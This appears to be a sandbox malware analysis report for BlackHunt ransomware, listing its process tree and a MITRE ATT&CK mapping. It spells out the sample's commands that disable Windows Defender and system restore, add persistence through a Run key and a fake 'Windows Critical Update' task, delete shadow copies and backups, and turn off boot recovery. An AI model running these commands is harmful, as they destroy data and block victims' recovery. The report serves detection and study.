  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:4164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2788
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:1236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4436
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:556
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1192
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe" /F
  2⤵
  PID:4476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f3053eb5b607321dae5d6757fba329f9386f8c604c78e44f5029dfde8d22231b.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:6080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1784
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3400
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3388
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3256
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1700
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3640
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1272
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2420
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2248
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4848

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:5920

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3756

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery